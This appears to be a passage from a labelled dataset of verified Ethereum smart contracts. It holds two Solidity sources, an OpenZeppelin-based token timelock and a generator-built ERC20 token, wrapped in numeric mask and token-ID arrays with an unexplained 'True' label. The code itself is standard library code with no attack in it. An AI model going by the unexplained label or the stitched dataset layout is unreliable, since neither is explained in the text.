1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-09-15
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.8.0;
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private immutable _token;
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// timestamp when token release is enabled
uint256 private immutable _releaseTime;
constructor(
IERC20 token_,
address beneficiary_,
uint256 releaseTime_
) {
require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
_token = token_;
_beneficiary = beneficiary_;
_releaseTime = releaseTime_;
}
/**
* @return the token being held.
*/
function token() public view virtual returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view virtual returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
uint256 amount = token().balanceOf(address(this));
require(amount > 0, "TokenTimelock: no tokens to release");
token().safeTransfer(beneficiary(), amount);
}
function getLockedAmount() public view virtual returns (uint256) {
uint256 amount = token().balanceOf(address(this));
return amount;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5641,
1011,
2321,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3074,
1997,
4972,
3141,
2000,
1996,
4769,
2828,
1008,
1013,
3075,
4769,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
1036,
4070,
1036,
2003,
1037,
3206,
1012,
1008,
1008,
1031,
2590,
1033,
1008,
1027,
1027,
1027,
1027,
1008,
2009,
2003,
25135,
2000,
7868,
2008,
2019,
4769,
2005,
2029,
2023,
3853,
5651,
1008,
6270,
2003,
2019,
27223,
1011,
3079,
4070,
1006,
1041,
10441,
1007,
1998,
2025,
1037,
3206,
1012,
1008,
1008,
2426,
2500,
1010,
1036,
2003,
8663,
6494,
6593,
1036,
2097,
2709,
6270,
2005,
1996,
2206,
1008,
4127,
1997,
11596,
1024,
1008,
1008,
1011,
2019,
27223,
1011,
3079,
4070,
1008,
1011,
1037,
3206,
1999,
2810,
1008,
1011,
2019,
4769,
2073,
1037,
3206,
2097,
2022,
2580,
1008,
1011,
2019,
4769,
2073,
1037,
3206,
2973,
1010,
2021,
2001,
3908,
1008,
1027,
1027,
1027,
1027,
1008,
1013,
3853,
2003,
8663,
6494,
6593,
1006,
4769,
4070,
1007,
4722,
3193,
5651,
1006,
22017,
2140,
1007,
1063,
1013,
1013,
2023,
4118,
16803,
2006,
4654,
13535,
19847,
4697,
1010,
2029,
5651,
1014,
2005,
8311,
1999,
1013,
1013,
2810,
1010,
2144,
1996,
3642,
2003,
2069,
8250,
2012,
1996,
2203,
1997,
1996,
1013,
1013,
9570,
2953,
7781,
1012,
21318,
3372,
17788,
2575,
2946,
1025,
3320,
1063,
2946,
1024,
1027,
4654,
13535,
19847,
4697,
1006,
4070,
1007,
1065,
2709,
2946,
1028,
1014,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
6110,
2005,
5024,
3012,
1005,
1055,
1036,
4651,
1036,
1024,
10255,
1036,
3815,
1036,
11417,
2000,
1008,
1036,
7799,
1036,
1010,
2830,
2075,
2035,
2800,
3806,
1998,
7065,
8743,
2075,
2006,
10697,
1012,
1008,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
6988,
1031,
1041,
11514,
15136,
2620,
2549,
1033,
7457,
1996,
3806,
3465,
1008,
1997,
3056,
6728,
23237,
1010,
4298,
2437,
8311,
2175,
2058,
1996,
11816,
2692,
3806,
5787,
1008,
9770,
2011,
1036,
4651,
1036,
1010,
2437,
2068,
4039,
2000,
4374,
5029,
3081,
1008,
1036,
4651,
1036,
1012,
1063,
4604,
10175,
5657,
1065,
20362,
2023,
22718,
1012,
1008,
1008,
16770,
1024,
1013,
1013,
29454,
29206,
3401,
1012,
9530,
5054,
6508,
2015,
1012,
5658,
1013,
8466,
1013,
10476,
1013,
5641,
1013,
2644,
1011,
2478,
1011,
5024,
3012,
2015,
1011,
4651,
1011,
2085,
1013,
1031,
4553,
2062,
1033,
1012,
1008,
1008,
2590,
1024,
2138,
2491,
2003,
4015,
2000,
1036,
7799,
1036,
1010,
2729,
2442,
2022,
1008,
2579,
2000,
2025,
3443,
2128,
4765,
5521,
5666,
24728,
19666,
6906,
14680,
1012,
5136,
2478,
1008,
1063,
2128,
4765,
5521,
5666,
18405,
1065,
2030,
1996,
1008,
16770,
1024,
1013,
1013,
5024,
3012,
1012,
3191,
23816,
10085,
2015,
1012,
22834,
1013,
4372,
1013,
1058,
2692,
1012,
1019,
1012,
2340,
1013,
3036,
1011,
16852,
1012,
16129,
1001,
2224,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-05-15
*/
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5709,
1011,
2321,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1008,
1008,
19204,
2038,
2042,
7013,
2005,
2489,
2478,
16770,
1024,
1013,
1013,
6819,
9284,
22311,
27108,
2072,
1012,
21025,
2705,
12083,
1012,
22834,
1013,
